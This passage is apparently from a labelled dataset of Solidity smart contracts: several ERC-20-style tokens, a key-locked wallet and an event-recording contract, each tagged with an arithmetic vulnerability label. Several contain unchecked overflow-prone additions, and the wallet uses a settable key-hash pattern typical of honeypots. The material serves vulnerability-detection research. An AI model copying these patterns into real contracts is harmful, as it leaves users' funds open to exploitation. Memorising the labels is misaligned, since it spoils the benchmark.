     event Transfer(address indexed _from, address indexed _to, uint256 _value); 
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
   
    function LT() public {
        balances[msg.sender] = 2100000000000;               // Give the creator all initial tokens
        totalSupply = 2100000000000;                        // Update total supply
        name = "Loctite Assets Token";                                   // Set the name for display purposes
        decimals =4;                            // Amount of decimals for display purposes
        symbol = "LT";                               // Set the symbol for display purposes
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        uint256 allowance = allowed[_from][msg.sender];
        require(balances[_from] >= _value && allowance >= _value);
        balances[_to] += _value;
        balances[_from] -= _value;
        if (allowance < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        Transfer(_from, _to, _value);
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }   
}
// Vulnerability label: ARTHM
pragma solidity ^0.4.24;

contract NFTYToken {

    event Transfer(address indexed from, address indexed to, uint amount);
    event Approval(address indexed owner, address indexed spender, uint amount);

    uint private constant MAX_UINT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;

    string public constant name = "NFTY Token";
    string public constant symbol = "NFTY";
    uint public constant decimals = 3;
    uint public constant totalSupply = 100000 * 10 ** decimals;

    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    constructor() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(0, msg.sender, totalSupply);
    }

    function transfer(address to, uint amount) external returns (bool) {
        require(to != address(this));
        require(to != 0);
        uint balanceOfMsgSender = balanceOf[msg.sender];
        require(balanceOfMsgSender >= amount);
        balanceOf[msg.sender] = balanceOfMsgSender - amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint amount) external returns (bool) {
        require(to != address(this));
        require(to != 0);
        uint allowanceMsgSender = allowance[from][msg.sender];
        require(allowanceMsgSender >= amount);
        if (allowanceMsgSender != MAX_UINT) {
            allowance[from][msg.sender] = allowanceMsgSender - amount;
        }
        uint balanceOfFrom = balanceOf[from];
        require(balanceOfFrom >= amount);
        balanceOf[from] = balanceOfFrom - amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
}
// Vulnerability label: ARTHM
pragma solidity ^0.4.25;

contract company_acc
{
    bytes32 keyHash;
    address owner;
    bytes32 wallet_id = 0xc209a261dae1dc7caa5b02a54874c85a69de5c9ddc0b0bebdbfa9a394fb24caf;

    constructor() public {
        owner = msg.sender;
    }

    function withdraw(string key) public payable
    {
        require(msg.sender == tx.origin);
        if(keyHash == keccak256(abi.encodePacked(key))) {
            if(msg.value > 0.4 ether) {
                msg.sender.transfer(address(this).balance);
            }
        }
    }

    function setup_key(string key) public
    {
        if (keyHash == 0x0) {
            keyHash = keccak256(abi.encodePacked(key));
        }
    }

    function new_hash(bytes32 new_hash) public
    {
        if (keyHash == 0x0) {
            keyHash = new_hash;
        }
    }

    function clear() public
    {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

    function get_id() public view returns(bytes32){
        return wallet_id;
    }

    function () public payable {
    }
}
// Vulnerability label: ARTHM
pragma solidity ^0.4.24;

contract Basic {

  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  constructor() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

contract Moses is Basic{

  event Attend(uint32 indexed id,string indexed attentHash);
  event PublishResult(uint32 indexed id,string indexed result,bool indexed finish);


  struct MoseEvent {
    uint32 id;
    string attendHash;
    string result;
    bool finish;
  }

  mapping (uint32 => MoseEvent) internal moseEvents;

  /**
  * @dev Storing predictive event participation information
  *
  * The contract owner collects the event participation information
  * and stores the prediction event participation information
  * @param _id  unique identification of predicted events
  * @param _attendHash prediction event participation information hash value
  */
  function attend(uint32 _id,string _attendHash) public onlyOwner returns (bool) {
    require(moseEvents[_id].id == uint32(0),"The event exists");
    moseEvents[_id] = MoseEvent({id:_id, attendHash:_attendHash, result: "", finish:false});
    emit Attend(_id, _attendHash);
    return true;
  }

  /**
   * @dev Publish forecast event results
   * @param _id unique identification of predicted events
   * @param _result prediction result information
   */
  function publishResult(uint32 _id,string _result) public onlyOwner returns (bool) {
    require(moseEvents[_id].id != uint32(0),"The event not exists");
    require(!moseEvents[_id].finish,"The event has been completed");
    moseEvents[_id].result = _result;
    moseEvents[_id].finish = true;
    emit PublishResult(_id, _result, true);
    return true;
  }

  /**
   * Query the event to participate in the HASH by guessing the event ID
   */
  function showMoseEvent(uint32 _id) public view returns (uint32,string,string,bool) {
    return (moseEvents[_id].id, moseEvents[_id].attendHash,moseEvents[_id].result,moseEvents[_id].finish);
  }


}
// Vulnerability label: ARTHM
pragma solidity ^0.4.16;

contract SGEToken {
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed from, uint256 value);

    function SGEToken() public {
        totalSupply = 100000000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        name = "Super Green Energy Token";
        symbol = "SGE";
    }

    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        Transfer(_from, _to, _value);
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function transfer(address _to, uint256 _value) public {
        _transfer(msg.sender, _to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }

    function burn(uint256 _value) public returns (bool success) {
        require(balanceOf[msg.sender] >= _value);
        balanceOf[msg.sender] -= _value;
        totalSupply -= _value;
        Burn(msg.sender, _value);
        return true;
    }

    function burnFrom(address _from, uint256 _value) public returns (bool success) {
        require(balanceOf[_from] >= _value);
        require(_value <= allowance[_from][msg.sender]);
        balanceOf[_from] -= _value;
        allowance[_from][msg.sender] -= _value;
        totalSupply -= _value;
        Burn(_from, _value);
        return true;
    }
}